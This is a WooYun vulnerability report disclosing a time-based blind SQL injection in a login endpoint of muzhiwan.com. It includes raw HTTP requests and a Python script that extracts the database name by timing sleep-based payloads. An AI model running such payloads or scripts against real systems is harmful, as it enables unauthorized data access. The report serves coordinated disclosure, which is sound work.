当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167338

漏洞标题:拇指玩某站MySQL盲注(附验证脚本)

相关厂商:muzhiwan.com

漏洞作者: hecate

提交时间:2016-01-04 21:50

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-04: 细节已通知厂商并且等待厂商处理中
2016-01-05: 厂商已经确认,细节仅向厂商公开
2016-01-15: 细节向核心白帽子及相关领域专家公开
2016-01-25: 细节向普通白帽子公开
2016-02-04: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

(づ ̄ 3 ̄)づ

详细说明:

和这个洞是同一站点 WooYun: 拇指玩一处SQL注入可控制千万用户数据

POST /?action=public&opt=check_username HTTP/1.1
Host: open.muzhiwan.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://open.muzhiwan.com/?action=public&opt=login
Content-Length: 13
Cookie: PHPSESSID=86etm3velh28pgfdint4e3tvb2
X-Forwarded-For: 127.0.0.1'
Connection: keep-alive
account=admin


上面的 account 参数有过滤,而下面这个post中的 account 就没有过滤,╮(╯▽╰)╭

POST /?action=public&opt=loginin HTTP/1.1
Host: open.muzhiwan.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://open.muzhiwan.com/?action=public&opt=login
Content-Length: 43
Cookie: PHPSESSID=86etm3velh28pgfdint4e3tvb2
X-Forwarded-For: 127.0.0.1'
Connection: keep-alive
account=admin&password=111111111&remember=1


附脚本

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import httplib
import time
import string
import sys
import random
import urllib
import math
headers = {'Content-Type':'application/x-www-form-urlencoded'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Starting to retrive MySQL DB:'
db= ''
for i in range(1, 4):
for payload in payloads:
s = "account=admin'XOR(if(now()=sysdate(),sleep(if(ascii(mid(database(),%s,1))=%s,5,0)),0))OR'&password=111111111&remember=1" % (i, ord(payload))
conn = httplib.HTTPConnection('open.muzhiwan.com', timeout=60)
conn.request(method='POST',
url='/?action=public&opt=loginin',
body=s,
headers=headers)
start_time = time.time()
conn.getresponse()
conn.close()
print '.',
if time.time() - start_time > 5.0:
db += payload
print '\n\n[In progress]', db,
break
print '\n\n[Done] MySQL DB is %s' % db

漏洞证明:

22.png

修复方案:

过滤

版权声明:转载请注明来源 hecate@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-01-05 10:09

厂商回复:

你好,我们会尽快修复

最新状态:

暂无